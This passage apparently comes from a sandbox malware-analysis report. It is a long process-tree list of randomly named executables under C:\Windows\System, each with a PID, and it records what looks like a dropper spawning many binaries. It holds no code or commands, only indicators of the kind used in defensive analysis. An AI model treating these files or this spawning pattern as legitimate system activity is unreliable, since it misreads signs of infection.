- C:\Windows\System\pPkkJWQ.exe
  C:\Windows\System\pPkkJWQ.exe
  2⤵
  PID:8608
- C:\Windows\System\jthrdKi.exe
  C:\Windows\System\jthrdKi.exe
  2⤵
  PID:8632
- C:\Windows\System\EkyMewq.exe
  C:\Windows\System\EkyMewq.exe
  2⤵
  PID:8652
- C:\Windows\System\APQRPXA.exe
  C:\Windows\System\APQRPXA.exe
  2⤵
  PID:8672
- C:\Windows\System\jvMjEzL.exe
  C:\Windows\System\jvMjEzL.exe
  2⤵
  PID:8700
- C:\Windows\System\nuVbUef.exe
  C:\Windows\System\nuVbUef.exe
  2⤵
  PID:8720
- C:\Windows\System\CsimgLa.exe
  C:\Windows\System\CsimgLa.exe
  2⤵
  PID:8744
- C:\Windows\System\TvTyVSn.exe
  C:\Windows\System\TvTyVSn.exe
  2⤵
  PID:8768
- C:\Windows\System\jdgunah.exe
  C:\Windows\System\jdgunah.exe
  2⤵
  PID:8792
- C:\Windows\System\wovVlbO.exe
  C:\Windows\System\wovVlbO.exe
  2⤵
  PID:8808
- C:\Windows\System\YDckpMN.exe
  C:\Windows\System\YDckpMN.exe
  2⤵
  PID:8832
- C:\Windows\System\ZNPAwpq.exe
  C:\Windows\System\ZNPAwpq.exe
  2⤵
  PID:8856
- C:\Windows\System\YozImWO.exe
  C:\Windows\System\YozImWO.exe
  2⤵
  PID:8872
- C:\Windows\System\tHXXXND.exe
  C:\Windows\System\tHXXXND.exe
  2⤵
  PID:8896
- C:\Windows\System\mDlfUMy.exe
  C:\Windows\System\mDlfUMy.exe
  2⤵
  PID:8920
- C:\Windows\System\DhGCgcm.exe
  C:\Windows\System\DhGCgcm.exe
  2⤵
  PID:8948
- C:\Windows\System\LJqtKnH.exe
  C:\Windows\System\LJqtKnH.exe
  2⤵
  PID:8968
- C:\Windows\System\pFcyHSg.exe
  C:\Windows\System\pFcyHSg.exe
  2⤵
  PID:8992
- C:\Windows\System\CHVtPwF.exe
  C:\Windows\System\CHVtPwF.exe
  2⤵
  PID:9016
- C:\Windows\System\oqpMNBC.exe
  C:\Windows\System\oqpMNBC.exe
  2⤵
  PID:9040
- C:\Windows\System\UywkwWO.exe
  C:\Windows\System\UywkwWO.exe
  2⤵
  PID:9064
- C:\Windows\System\TkmJsDL.exe
  C:\Windows\System\TkmJsDL.exe
  2⤵
  PID:9084
- C:\Windows\System\LAzMICN.exe
  C:\Windows\System\LAzMICN.exe
  2⤵
  PID:9104
- C:\Windows\System\pERUFux.exe
  C:\Windows\System\pERUFux.exe
  2⤵
  PID:9128
- C:\Windows\System\IweCxpO.exe
  C:\Windows\System\IweCxpO.exe
  2⤵
  PID:9156
- C:\Windows\System\dwKMLVL.exe
  C:\Windows\System\dwKMLVL.exe
  2⤵
  PID:9184
- C:\Windows\System\WVSmpSO.exe
  C:\Windows\System\WVSmpSO.exe
  2⤵
  PID:9204
- C:\Windows\System\wCycMoC.exe
  C:\Windows\System\wCycMoC.exe
  2⤵
  PID:7028
- C:\Windows\System\SiSLmib.exe
  C:\Windows\System\SiSLmib.exe
  2⤵
  PID:7080
- C:\Windows\System\LndAVtZ.exe
  C:\Windows\System\LndAVtZ.exe
  2⤵
  PID:7124
- C:\Windows\System\FdpkHbK.exe
  C:\Windows\System\FdpkHbK.exe
  2⤵
  PID:7160
- C:\Windows\System\QcAZzjz.exe
  C:\Windows\System\QcAZzjz.exe
  2⤵
  PID:6068
- C:\Windows\System\xcgKoBX.exe
  C:\Windows\System\xcgKoBX.exe
  2⤵
  PID:5184
- C:\Windows\System\qmeAFKg.exe
  C:\Windows\System\qmeAFKg.exe
  2⤵
  PID:5752
- C:\Windows\System\irgAiTl.exe
  C:\Windows\System\irgAiTl.exe
  2⤵
  PID:404
- C:\Windows\System\GFDbNmK.exe
  C:\Windows\System\GFDbNmK.exe
  2⤵
  PID:6152
- C:\Windows\System\HXIQhIt.exe
  C:\Windows\System\HXIQhIt.exe
  2⤵
  PID:3060
- C:\Windows\System\SAcEjZY.exe
  C:\Windows\System\SAcEjZY.exe
  2⤵
  PID:5844
- C:\Windows\System\ixyZksl.exe
  C:\Windows\System\ixyZksl.exe
  2⤵
  PID:6212
- C:\Windows\System\MgtewUT.exe
  C:\Windows\System\MgtewUT.exe
  2⤵
  PID:6304
- C:\Windows\System\rgZatMr.exe
  C:\Windows\System\rgZatMr.exe
  2⤵
  PID:6528
- C:\Windows\System\zNzwkbF.exe
  C:\Windows\System\zNzwkbF.exe
  2⤵
  PID:6476
- C:\Windows\System\wQCNakj.exe
  C:\Windows\System\wQCNakj.exe
  2⤵
  PID:6620
- C:\Windows\System\AfCpZPj.exe
  C:\Windows\System\AfCpZPj.exe
  2⤵
  PID:7308
- C:\Windows\System\BOqomYU.exe
  C:\Windows\System\BOqomYU.exe
  2⤵
  PID:7344
- C:\Windows\System\sLhaMAe.exe
  C:\Windows\System\sLhaMAe.exe
  2⤵
  PID:8368
- C:\Windows\System\srEPpDs.exe
  C:\Windows\System\srEPpDs.exe
  2⤵
  PID:9240
- C:\Windows\System\KYxAxwb.exe
  C:\Windows\System\KYxAxwb.exe
  2⤵
  PID:9264
- C:\Windows\System\fgolSAe.exe
  C:\Windows\System\fgolSAe.exe
  2⤵
  PID:9284
- C:\Windows\System\kDfOqgD.exe
  C:\Windows\System\kDfOqgD.exe
  2⤵
  PID:9304
- C:\Windows\System\apTTdqi.exe
  C:\Windows\System\apTTdqi.exe
  2⤵
  PID:9328
- C:\Windows\System\gZJDmNn.exe
  C:\Windows\System\gZJDmNn.exe
  2⤵
  PID:9344
- C:\Windows\System\DKkOhLB.exe
  C:\Windows\System\DKkOhLB.exe
  2⤵
  PID:9360
- C:\Windows\System\RUdyhbN.exe
  C:\Windows\System\RUdyhbN.exe
  2⤵
  PID:9376
- C:\Windows\System\iJdpKWb.exe
  C:\Windows\System\iJdpKWb.exe
  2⤵
  PID:9392
- C:\Windows\System\OLIwpGH.exe
  C:\Windows\System\OLIwpGH.exe
  2⤵
  PID:9408
- C:\Windows\System\pWBxXmU.exe
  C:\Windows\System\pWBxXmU.exe
  2⤵
  PID:9428
- C:\Windows\System\VbMWQHZ.exe
  C:\Windows\System\VbMWQHZ.exe
  2⤵
  PID:9456
- C:\Windows\System\KGeCqNl.exe
  C:\Windows\System\KGeCqNl.exe
  2⤵
  PID:9472
- C:\Windows\System\flqQOGG.exe
  C:\Windows\System\flqQOGG.exe
  2⤵
  PID:9568
- C:\Windows\System\tQfIvDs.exe
  C:\Windows\System\tQfIvDs.exe
  2⤵
  PID:9588
- C:\Windows\System\UfgSFnz.exe
  C:\Windows\System\UfgSFnz.exe
  2⤵
  PID:9616
- C:\Windows\System\aMLFPJh.exe
  C:\Windows\System\aMLFPJh.exe
  2⤵
  PID:9636
- C:\Windows\System\qMfFcib.exe
  C:\Windows\System\qMfFcib.exe
  2⤵
  PID:9664
- C:\Windows\System\MtbuHCZ.exe
  C:\Windows\System\MtbuHCZ.exe
  2⤵
  PID:9696
- C:\Windows\System\qflbitF.exe
  C:\Windows\System\qflbitF.exe
  2⤵
  PID:9716
- C:\Windows\System\tsrdIAB.exe
  C:\Windows\System\tsrdIAB.exe
  2⤵
  PID:9736
- C:\Windows\System\TsVVTGU.exe
  C:\Windows\System\TsVVTGU.exe
  2⤵
  PID:9768
- C:\Windows\System\VuCSVHU.exe
  C:\Windows\System\VuCSVHU.exe
  2⤵
  PID:9788
- C:\Windows\System\mbUHTjh.exe
  C:\Windows\System\mbUHTjh.exe
  2⤵
  PID:9812
- C:\Windows\System\wsPZtpY.exe
  C:\Windows\System\wsPZtpY.exe
  2⤵
  PID:9836
- C:\Windows\System\UtvBkkv.exe
  C:\Windows\System\UtvBkkv.exe
  2⤵
  PID:9856
- C:\Windows\System\jQouePN.exe
  C:\Windows\System\jQouePN.exe
  2⤵
  PID:9884
- C:\Windows\System\iEDlAfU.exe
  C:\Windows\System\iEDlAfU.exe
  2⤵
  PID:9912
- C:\Windows\System\uJVksfn.exe
  C:\Windows\System\uJVksfn.exe
  2⤵
  PID:9940
- C:\Windows\System\ZeqsaQS.exe
  C:\Windows\System\ZeqsaQS.exe
  2⤵
  PID:9960
- C:\Windows\System\VyjBjUi.exe
  C:\Windows\System\VyjBjUi.exe
  2⤵
  PID:9988
- C:\Windows\System\hMVMjen.exe
  C:\Windows\System\hMVMjen.exe
  2⤵
  PID:10012
- C:\Windows\System\NuJNZgk.exe
  C:\Windows\System\NuJNZgk.exe
  2⤵
  PID:10044
- C:\Windows\System\jPzDRFo.exe
  C:\Windows\System\jPzDRFo.exe
  2⤵
  PID:10112
- C:\Windows\System\uxLsZXP.exe
  C:\Windows\System\uxLsZXP.exe
  2⤵
  PID:10136
- C:\Windows\System\Bwstgag.exe
  C:\Windows\System\Bwstgag.exe
  2⤵
  PID:10168
- C:\Windows\System\sLTEHzZ.exe
  C:\Windows\System\sLTEHzZ.exe
  2⤵
  PID:10184
- C:\Windows\System\tgNDgbt.exe
  C:\Windows\System\tgNDgbt.exe
  2⤵
  PID:10200
- C:\Windows\System\YsQjMvZ.exe
  C:\Windows\System\YsQjMvZ.exe
  2⤵
  PID:10216
- C:\Windows\System\uirQPbT.exe
  C:\Windows\System\uirQPbT.exe
  2⤵
  PID:10232
- C:\Windows\System\wvXtYJW.exe
  C:\Windows\System\wvXtYJW.exe
  2⤵
  PID:8124
- C:\Windows\System\wFkMDWD.exe
  C:\Windows\System\wFkMDWD.exe
  2⤵
  PID:8076
- C:\Windows\System\vcgqMRU.exe
  C:\Windows\System\vcgqMRU.exe
  2⤵
  PID:8024
- C:\Windows\System\lWzJIzO.exe
  C:\Windows\System\lWzJIzO.exe
  2⤵
  PID:7948
- C:\Windows\System\aVoOTky.exe
  C:\Windows\System\aVoOTky.exe
  2⤵
  PID:7872
- C:\Windows\System\KzlmohT.exe
  C:\Windows\System\KzlmohT.exe
  2⤵
  PID:7840
- C:\Windows\System\BmKvorc.exe
  C:\Windows\System\BmKvorc.exe
  2⤵
  PID:7816
- C:\Windows\System\SSHlFih.exe
  C:\Windows\System\SSHlFih.exe
  2⤵
  PID:7784
- C:\Windows\System\EJAgZSg.exe
  C:\Windows\System\EJAgZSg.exe
  2⤵
  PID:7760
- C:\Windows\System\VwCXOBX.exe
  C:\Windows\System\VwCXOBX.exe
  2⤵
  PID:7732
- C:\Windows\System\hoKTsgI.exe
  C:\Windows\System\hoKTsgI.exe
  2⤵
  PID:7696
- C:\Windows\System\qxYUWHn.exe
  C:\Windows\System\qxYUWHn.exe
  2⤵
  PID:7648
- C:\Windows\System\oNcLiLV.exe
  C:\Windows\System\oNcLiLV.exe
  2⤵
  PID:7608
- C:\Windows\System\jeiOFGl.exe
  C:\Windows\System\jeiOFGl.exe
  2⤵
  PID:7552
- C:\Windows\System\LdbeZEX.exe
  C:\Windows\System\LdbeZEX.exe
  2⤵
  PID:8736
- C:\Windows\System\AlAoKPU.exe
  C:\Windows\System\AlAoKPU.exe
  2⤵
  PID:8800
- C:\Windows\System\YKeZRSK.exe
  C:\Windows\System\YKeZRSK.exe
  2⤵
  PID:8848
- C:\Windows\System\cjEqTbW.exe
  C:\Windows\System\cjEqTbW.exe
  2⤵
  PID:8928
- C:\Windows\System\ifaTYhe.exe
  C:\Windows\System\ifaTYhe.exe
  2⤵
  PID:9012
- C:\Windows\System\inQnxPr.exe
  C:\Windows\System\inQnxPr.exe
  2⤵
  PID:8164
- C:\Windows\System\kjYSAnP.exe
  C:\Windows\System\kjYSAnP.exe
  2⤵
  PID:7048
- C:\Windows\System\Qmsftws.exe
  C:\Windows\System\Qmsftws.exe
  2⤵
  PID:9248
- C:\Windows\System\vEICzAT.exe
  C:\Windows\System\vEICzAT.exe
  2⤵
  PID:9368
- C:\Windows\System\ZObhBbG.exe
  C:\Windows\System\ZObhBbG.exe
  2⤵
  PID:8172
- C:\Windows\System\ZZjMNTj.exe
  C:\Windows\System\ZZjMNTj.exe
  2⤵
  PID:8184
- C:\Windows\System\DMrlFhL.exe
  C:\Windows\System\DMrlFhL.exe
  2⤵
  PID:7192
- C:\Windows\System\jixiijK.exe
  C:\Windows\System\jixiijK.exe
  2⤵
  PID:9632
- C:\Windows\System\sDiKxFS.exe
  C:\Windows\System\sDiKxFS.exe
  2⤵
  PID:8776
- C:\Windows\System\BXIYjbP.exe
  C:\Windows\System\BXIYjbP.exe
  2⤵
  PID:9712
- C:\Windows\System\oLdlJUE.exe
  C:\Windows\System\oLdlJUE.exe
  2⤵
  PID:8892
- C:\Windows\System\ufgMnDV.exe
  C:\Windows\System\ufgMnDV.exe
  2⤵
  PID:9808
- C:\Windows\System\aVLFEAo.exe
  C:\Windows\System\aVLFEAo.exe
  2⤵
  PID:9852
- C:\Windows\System\jRfTfar.exe
  C:\Windows\System\jRfTfar.exe
  2⤵
  PID:9052
- C:\Windows\System\VldFjHZ.exe
  C:\Windows\System\VldFjHZ.exe
  2⤵
  PID:9952
- C:\Windows\System\SWDhCjo.exe
  C:\Windows\System\SWDhCjo.exe
  2⤵
  PID:9124
- C:\Windows\System\TXJZcUt.exe
  C:\Windows\System\TXJZcUt.exe
  2⤵
  PID:7372
- C:\Windows\System\FlOyozr.exe
  C:\Windows\System\FlOyozr.exe
  2⤵
  PID:8216
- C:\Windows\System\NYRoIlU.exe
  C:\Windows\System\NYRoIlU.exe
  2⤵
  PID:8244
- C:\Windows\System\MEtBGSI.exe
  C:\Windows\System\MEtBGSI.exe
  2⤵
  PID:9212
- C:\Windows\System\wApJyqy.exe
  C:\Windows\System\wApJyqy.exe
  2⤵
  PID:8288
- C:\Windows\System\PXhckbM.exe
  C:\Windows\System\PXhckbM.exe
  2⤵
  PID:8344
- C:\Windows\System\xClGCss.exe
  C:\Windows\System\xClGCss.exe
  2⤵
  PID:10100
- C:\Windows\System\ZSFUZvz.exe
  C:\Windows\System\ZSFUZvz.exe
  2⤵
  PID:10156
- C:\Windows\System\pSmwcwH.exe
  C:\Windows\System\pSmwcwH.exe
  2⤵
  PID:9336
- C:\Windows\System\bUKeayd.exe
  C:\Windows\System\bUKeayd.exe
  2⤵
  PID:10244
- C:\Windows\System\vFmwLqh.exe
  C:\Windows\System\vFmwLqh.exe
  2⤵
  PID:10272
- C:\Windows\System\sfWPcqs.exe
  C:\Windows\System\sfWPcqs.exe
  2⤵
  PID:10288
- C:\Windows\System\onhzfig.exe
  C:\Windows\System\onhzfig.exe
  2⤵
  PID:10312
- C:\Windows\System\qVhiUZt.exe
  C:\Windows\System\qVhiUZt.exe
  2⤵
  PID:10332
- C:\Windows\System\ogsePSN.exe
  C:\Windows\System\ogsePSN.exe
  2⤵
  PID:10824
- C:\Windows\System\dfmTyQG.exe
  C:\Windows\System\dfmTyQG.exe
  2⤵
  PID:10868
- C:\Windows\System\zEArwHg.exe
  C:\Windows\System\zEArwHg.exe
  2⤵
  PID:10900
- C:\Windows\System\hPAVLfl.exe
  C:\Windows\System\hPAVLfl.exe
  2⤵
  PID:10920
- C:\Windows\System\GHzILnD.exe
  C:\Windows\System\GHzILnD.exe
  2⤵
  PID:10940
- C:\Windows\System\HNXHRcx.exe
  C:\Windows\System\HNXHRcx.exe
  2⤵
  PID:10968
- C:\Windows\System\iYKFroY.exe
  C:\Windows\System\iYKFroY.exe
  2⤵
  PID:10996
- C:\Windows\System\jrVMQjx.exe
  C:\Windows\System\jrVMQjx.exe
  2⤵
  PID:11024
- C:\Windows\System\yCoPcmZ.exe
  C:\Windows\System\yCoPcmZ.exe
  2⤵
  PID:11056
- C:\Windows\System\agQSvts.exe
  C:\Windows\System\agQSvts.exe
  2⤵
  PID:11076
- C:\Windows\System\NAxScgT.exe
  C:\Windows\System\NAxScgT.exe
  2⤵
  PID:11104
- C:\Windows\System\ArDjLHm.exe
  C:\Windows\System\ArDjLHm.exe
  2⤵
  PID:11128
- C:\Windows\System\bKHpPzV.exe
  C:\Windows\System\bKHpPzV.exe
  2⤵
  PID:11148
- C:\Windows\System\ovUUdrW.exe
  C:\Windows\System\ovUUdrW.exe
  2⤵
  PID:11180
- C:\Windows\System\pvOqRNA.exe
  C:\Windows\System\pvOqRNA.exe
  2⤵
  PID:11204
- C:\Windows\System\tjnLqbt.exe
  C:\Windows\System\tjnLqbt.exe
  2⤵
  PID:11228
- C:\Windows\System\MEDnCxE.exe
  C:\Windows\System\MEDnCxE.exe
  2⤵
  PID:11252
- C:\Windows\System\zwEmaqK.exe
  C:\Windows\System\zwEmaqK.exe
  2⤵
  PID:8444
- C:\Windows\System\AMhnnns.exe
  C:\Windows\System\AMhnnns.exe
  2⤵
  PID:8488
- C:\Windows\System\gQlKFLm.exe
  C:\Windows\System\gQlKFLm.exe
  2⤵
  PID:8532
- C:\Windows\System\kXToUGV.exe
  C:\Windows\System\kXToUGV.exe
  2⤵
  PID:8576
- C:\Windows\System\DGnlIcr.exe
  C:\Windows\System\DGnlIcr.exe
  2⤵
  PID:7800
- C:\Windows\System\vYCCVkg.exe
  C:\Windows\System\vYCCVkg.exe
  2⤵
  PID:7704
- C:\Windows\System\KKLiwnJ.exe
  C:\Windows\System\KKLiwnJ.exe
  2⤵
  PID:7660
- C:\Windows\System\KatAUqW.exe
  C:\Windows\System\KatAUqW.exe
  2⤵
  PID:8964
- C:\Windows\System\KTzjMEq.exe
  C:\Windows\System\KTzjMEq.exe
  2⤵
  PID:8988
- C:\Windows\System\poUrBAg.exe
  C:\Windows\System\poUrBAg.exe
  2⤵
  PID:8864
- C:\Windows\System\XSzmyjR.exe
  C:\Windows\System\XSzmyjR.exe
  2⤵
  PID:9100
- C:\Windows\System\KacCJjl.exe
  C:\Windows\System\KacCJjl.exe
  2⤵
  PID:9484
- C:\Windows\System\zgrKSPM.exe
  C:\Windows\System\zgrKSPM.exe
  2⤵
  PID:9708
- C:\Windows\System\lFLktjx.exe
  C:\Windows\System\lFLktjx.exe
  2⤵
  PID:10036
- C:\Windows\System\yrmzoIG.exe
  C:\Windows\System\yrmzoIG.exe
  2⤵
  PID:5572
- C:\Windows\System\dOEQIef.exe
  C:\Windows\System\dOEQIef.exe
  2⤵
  PID:1556
- C:\Windows\System\nlFcTUt.exe
  C:\Windows\System\nlFcTUt.exe
  2⤵
  PID:6192
- C:\Windows\System\BGtwByF.exe
  C:\Windows\System\BGtwByF.exe
  2⤵
  PID:6444
- C:\Windows\System\eoVfnYQ.exe
  C:\Windows\System\eoVfnYQ.exe
  2⤵
  PID:7304
- C:\Windows\System\DAEVBll.exe
  C:\Windows\System\DAEVBll.exe
  2⤵
  PID:7244
- C:\Windows\System\cwfhOWx.exe
  C:\Windows\System\cwfhOWx.exe
  2⤵
  PID:9384
- C:\Windows\System\ncvkfUz.exe
  C:\Windows\System\ncvkfUz.exe
  2⤵
  PID:8360
- C:\Windows\System\FUQafpl.exe
  C:\Windows\System\FUQafpl.exe
  2⤵
  PID:9516
- C:\Windows\System\kysQSFZ.exe
  C:\Windows\System\kysQSFZ.exe
  2⤵
  PID:9548
- C:\Windows\System\kKseivg.exe
  C:\Windows\System\kKseivg.exe
  2⤵
  PID:10380
- C:\Windows\System\kQWsBFE.exe
  C:\Windows\System\kQWsBFE.exe
  2⤵
  PID:9596
- C:\Windows\System\OPTdtas.exe
  C:\Windows\System\OPTdtas.exe
  2⤵
  PID:4964
- C:\Windows\System\tIFAYQW.exe
  C:\Windows\System\tIFAYQW.exe
  2⤵
  PID:7620
- C:\Windows\System\EYNsHjw.exe
  C:\Windows\System\EYNsHjw.exe
  2⤵
  PID:9904
- C:\Windows\System\kOTwSiz.exe
  C:\Windows\System\kOTwSiz.exe
  2⤵
  PID:7180
- C:\Windows\System\AWyKBui.exe
  C:\Windows\System\AWyKBui.exe
  2⤵
  PID:10000
- C:\Windows\System\govNzgp.exe
  C:\Windows\System\govNzgp.exe
  2⤵
  PID:10052
- C:\Windows\System\BhcBEcx.exe
  C:\Windows\System\BhcBEcx.exe
  2⤵
  PID:9976
- C:\Windows\System\oBIjhMl.exe
  C:\Windows\System\oBIjhMl.exe
  2⤵
  PID:9144
- C:\Windows\System\ZogyNjN.exe
  C:\Windows\System\ZogyNjN.exe
  2⤵
  PID:8256
- C:\Windows\System\MGiNxZq.exe
  C:\Windows\System\MGiNxZq.exe
  2⤵
  PID:11268
- C:\Windows\System\edwQOEu.exe
  C:\Windows\System\edwQOEu.exe
  2⤵
  PID:11284
- C:\Windows\System\GUkUofD.exe
  C:\Windows\System\GUkUofD.exe
  2⤵
  PID:11304
- C:\Windows\System\HKphGwC.exe
  C:\Windows\System\HKphGwC.exe
  2⤵
  PID:11324
- C:\Windows\System\AiomuFw.exe
  C:\Windows\System\AiomuFw.exe
  2⤵
  PID:11348
- C:\Windows\System\ACdXTaF.exe
  C:\Windows\System\ACdXTaF.exe
  2⤵
  PID:11376
- C:\Windows\System\kbMcfWA.exe
  C:\Windows\System\kbMcfWA.exe
  2⤵
  PID:11400
- C:\Windows\System\kmgrPNB.exe
  C:\Windows\System\kmgrPNB.exe
  2⤵
  PID:11424
- C:\Windows\System\MRBsLYP.exe
  C:\Windows\System\MRBsLYP.exe
  2⤵
  PID:11444
- C:\Windows\System\CdqWkti.exe
  C:\Windows\System\CdqWkti.exe
  2⤵
  PID:11472
- C:\Windows\System\PjujChM.exe
  C:\Windows\System\PjujChM.exe
  2⤵
  PID:11488
- C:\Windows\System\wswFoww.exe
  C:\Windows\System\wswFoww.exe
  2⤵
  PID:11524
- C:\Windows\System\ZNyptua.exe
  C:\Windows\System\ZNyptua.exe
  2⤵
  PID:11548
- C:\Windows\System\QgTshfT.exe
  C:\Windows\System\QgTshfT.exe
  2⤵
  PID:11584
- C:\Windows\System\EyGUKdT.exe
  C:\Windows\System\EyGUKdT.exe
  2⤵
  PID:11604
- C:\Windows\System\NFvjNvU.exe
  C:\Windows\System\NFvjNvU.exe
  2⤵
  PID:11624
- C:\Windows\System\NKTNJns.exe
  C:\Windows\System\NKTNJns.exe
  2⤵
  PID:11640
- C:\Windows\System\QtgYdFL.exe
  C:\Windows\System\QtgYdFL.exe
  2⤵
  PID:11656
- C:\Windows\System\VYyuWfh.exe
  C:\Windows\System\VYyuWfh.exe
  2⤵
  PID:11672
- C:\Windows\System\ZMdOtFY.exe
  C:\Windows\System\ZMdOtFY.exe
  2⤵
  PID:11688
- C:\Windows\System\NyzNsBM.exe
  C:\Windows\System\NyzNsBM.exe
  2⤵
  PID:11704
- C:\Windows\System\ECTRUkN.exe
  C:\Windows\System\ECTRUkN.exe
  2⤵
  PID:11728
- C:\Windows\System\VePyQuM.exe
  C:\Windows\System\VePyQuM.exe
  2⤵
  PID:11752
- C:\Windows\System\ONuzCck.exe
  C:\Windows\System\ONuzCck.exe
  2⤵
  PID:11776
- C:\Windows\System\bWjoKQJ.exe
  C:\Windows\System\bWjoKQJ.exe
  2⤵
  PID:11800
- C:\Windows\System\wXycLSK.exe
  C:\Windows\System\wXycLSK.exe
  2⤵
  PID:11820
- C:\Windows\System\XbkRTwe.exe
  C:\Windows\System\XbkRTwe.exe
  2⤵
  PID:11852
- C:\Windows\System\GBgQJwL.exe
  C:\Windows\System\GBgQJwL.exe
  2⤵
  PID:11868
- C:\Windows\System\DHbTKkU.exe
  C:\Windows\System\DHbTKkU.exe
  2⤵
  PID:11896
- C:\Windows\System\NmuqckK.exe
  C:\Windows\System\NmuqckK.exe
  2⤵
  PID:11920
- C:\Windows\System\PwIkLiI.exe
  C:\Windows\System\PwIkLiI.exe
  2⤵
  PID:11944
- C:\Windows\System\XVduSvL.exe
  C:\Windows\System\XVduSvL.exe
  2⤵
  PID:11964
- C:\Windows\System\JLsXrVz.exe
  C:\Windows\System\JLsXrVz.exe
  2⤵
  PID:11992
- C:\Windows\System\BvcFNQZ.exe
  C:\Windows\System\BvcFNQZ.exe
  2⤵
  PID:12012
- C:\Windows\System\dmhvMQJ.exe
  C:\Windows\System\dmhvMQJ.exe
  2⤵
  PID:12036
- C:\Windows\System\UbnzxkP.exe
  C:\Windows\System\UbnzxkP.exe
  2⤵
  PID:12056
- C:\Windows\System\TMsvGzj.exe
  C:\Windows\System\TMsvGzj.exe
  2⤵
  PID:12084
- C:\Windows\System\pFDIbtJ.exe
  C:\Windows\System\pFDIbtJ.exe
  2⤵
  PID:12112
- C:\Windows\System\vVIQVTI.exe
  C:\Windows\System\vVIQVTI.exe
  2⤵
  PID:12140
- C:\Windows\System\NaFexNZ.exe
  C:\Windows\System\NaFexNZ.exe
  2⤵
  PID:12160
- C:\Windows\System\OBAeYVZ.exe
  C:\Windows\System\OBAeYVZ.exe
  2⤵
  PID:12184
- C:\Windows\System\bcDIBxD.exe
  C:\Windows\System\bcDIBxD.exe
  2⤵
  PID:12208
- C:\Windows\System\jotskrL.exe
  C:\Windows\System\jotskrL.exe
  2⤵
  PID:12228
- C:\Windows\System\wmnLxpk.exe
  C:\Windows\System\wmnLxpk.exe
  2⤵
  PID:12252
- C:\Windows\System\UvcoKxg.exe
  C:\Windows\System\UvcoKxg.exe
  2⤵
  PID:12268
- C:\Windows\System\tKnxiPE.exe
  C:\Windows\System\tKnxiPE.exe
  2⤵
  PID:3692
- C:\Windows\System\EvnPpYR.exe
  C:\Windows\System\EvnPpYR.exe
  2⤵
  PID:8108
- C:\Windows\System\GRpAJlF.exe
  C:\Windows\System\GRpAJlF.exe
  2⤵
  PID:7972
- C:\Windows\System\qpIAsQW.exe
  C:\Windows\System\qpIAsQW.exe
  2⤵
  PID:10928
- C:\Windows\System\thKDXgu.exe
  C:\Windows\System\thKDXgu.exe
  2⤵
  PID:11092
- C:\Windows\System\blbTsBZ.exe
  C:\Windows\System\blbTsBZ.exe
  2⤵
  PID:11220
- C:\Windows\System\hMFTSfi.exe
  C:\Windows\System\hMFTSfi.exe
  2⤵
  PID:11260
- C:\Windows\System\lpLJOoy.exe
  C:\Windows\System\lpLJOoy.exe
  2⤵
  PID:8512
- C:\Windows\System\aKnvKcx.exe
  C:\Windows\System\aKnvKcx.exe
  2⤵
  PID:9232
- C:\Windows\System\UaqMzYh.exe
  C:\Windows\System\UaqMzYh.exe
  2⤵
  PID:8624
- C:\Windows\System\YDdPame.exe
  C:\Windows\System\YDdPame.exe
  2⤵
  PID:8764
- C:\Windows\System\sMTmudY.exe
  C:\Windows\System\sMTmudY.exe
  2⤵
  PID:9744
- C:\Windows\System\VjvLpGF.exe
  C:\Windows\System\VjvLpGF.exe
  2⤵
  PID:4916
- C:\Windows\System\dKrvcef.exe
  C:\Windows\System\dKrvcef.exe
  2⤵
  PID:2608
- C:\Windows\System\ccNsyRn.exe
  C:\Windows\System\ccNsyRn.exe
  2⤵
  PID:7916
- C:\Windows\System\TUBSYsg.exe
  C:\Windows\System\TUBSYsg.exe
  2⤵
  PID:7624
- C:\Windows\System\WfUhtvP.exe
  C:\Windows\System\WfUhtvP.exe
  2⤵
  PID:2388
- C:\Windows\System\ZzynFuy.exe
  C:\Windows\System\ZzynFuy.exe
  2⤵
  PID:10092
- C:\Windows\System\DdleuMw.exe
  C:\Windows\System\DdleuMw.exe
  2⤵
  PID:10688
- C:\Windows\System\iaCdGeF.exe
  C:\Windows\System\iaCdGeF.exe
  2⤵
  PID:9276
- C:\Windows\System\UPnBESA.exe
  C:\Windows\System\UPnBESA.exe
  2⤵
  PID:11368
- C:\Windows\System\hOmbtVb.exe
  C:\Windows\System\hOmbtVb.exe
  2⤵
  PID:12336
- C:\Windows\System\WaNUWQe.exe
  C:\Windows\System\WaNUWQe.exe
  2⤵
  PID:12356
- C:\Windows\System\PzgjQJy.exe
  C:\Windows\System\PzgjQJy.exe
  2⤵
  PID:12372
- C:\Windows\System\MSUKkxM.exe
  C:\Windows\System\MSUKkxM.exe
  2⤵
  PID:12388
- C:\Windows\System\WASSwLA.exe
  C:\Windows\System\WASSwLA.exe
  2⤵
  PID:12404
- C:\Windows\System\GEVxMiy.exe
  C:\Windows\System\GEVxMiy.exe
  2⤵
  PID:12420
- C:\Windows\System\zYOgGyO.exe
  C:\Windows\System\zYOgGyO.exe
  2⤵
  PID:12436
- C:\Windows\System\LfDLuef.exe
  C:\Windows\System\LfDLuef.exe
  2⤵
  PID:12452
- C:\Windows\System\IdUvEKM.exe
  C:\Windows\System\IdUvEKM.exe
  2⤵
  PID:12468
- C:\Windows\System\VjcOpne.exe
  C:\Windows\System\VjcOpne.exe
  2⤵
  PID:12484
- C:\Windows\System\YKhmPaR.exe
  C:\Windows\System\YKhmPaR.exe
  2⤵
  PID:12500
- C:\Windows\System\hZehTDo.exe
  C:\Windows\System\hZehTDo.exe
  2⤵
  PID:12520
- C:\Windows\System\FhwyObk.exe
  C:\Windows\System\FhwyObk.exe
  2⤵
  PID:12540
- C:\Windows\System\IFvILmP.exe
  C:\Windows\System\IFvILmP.exe
  2⤵
  PID:12568
- C:\Windows\System\mNqpWpO.exe
  C:\Windows\System\mNqpWpO.exe
  2⤵
  PID:12592
- C:\Windows\System\pzCWTUv.exe
  C:\Windows\System\pzCWTUv.exe
  2⤵
  PID:12616
- C:\Windows\System\erZYlbD.exe
  C:\Windows\System\erZYlbD.exe
  2⤵
  PID:12640
- C:\Windows\System\nnGuDqu.exe
  C:\Windows\System\nnGuDqu.exe
  2⤵
  PID:12676
- C:\Windows\System\nzNKSAm.exe
  C:\Windows\System\nzNKSAm.exe
  2⤵
  PID:12692
- C:\Windows\System\HDQoqwz.exe
  C:\Windows\System\HDQoqwz.exe
  2⤵
  PID:12712
- C:\Windows\System\ApGjDLI.exe
  C:\Windows\System\ApGjDLI.exe
  2⤵
  PID:12732
- C:\Windows\System\xGralbq.exe
  C:\Windows\System\xGralbq.exe
  2⤵
  PID:12756
- C:\Windows\System\FeujMeZ.exe
  C:\Windows\System\FeujMeZ.exe
  2⤵
  PID:12780
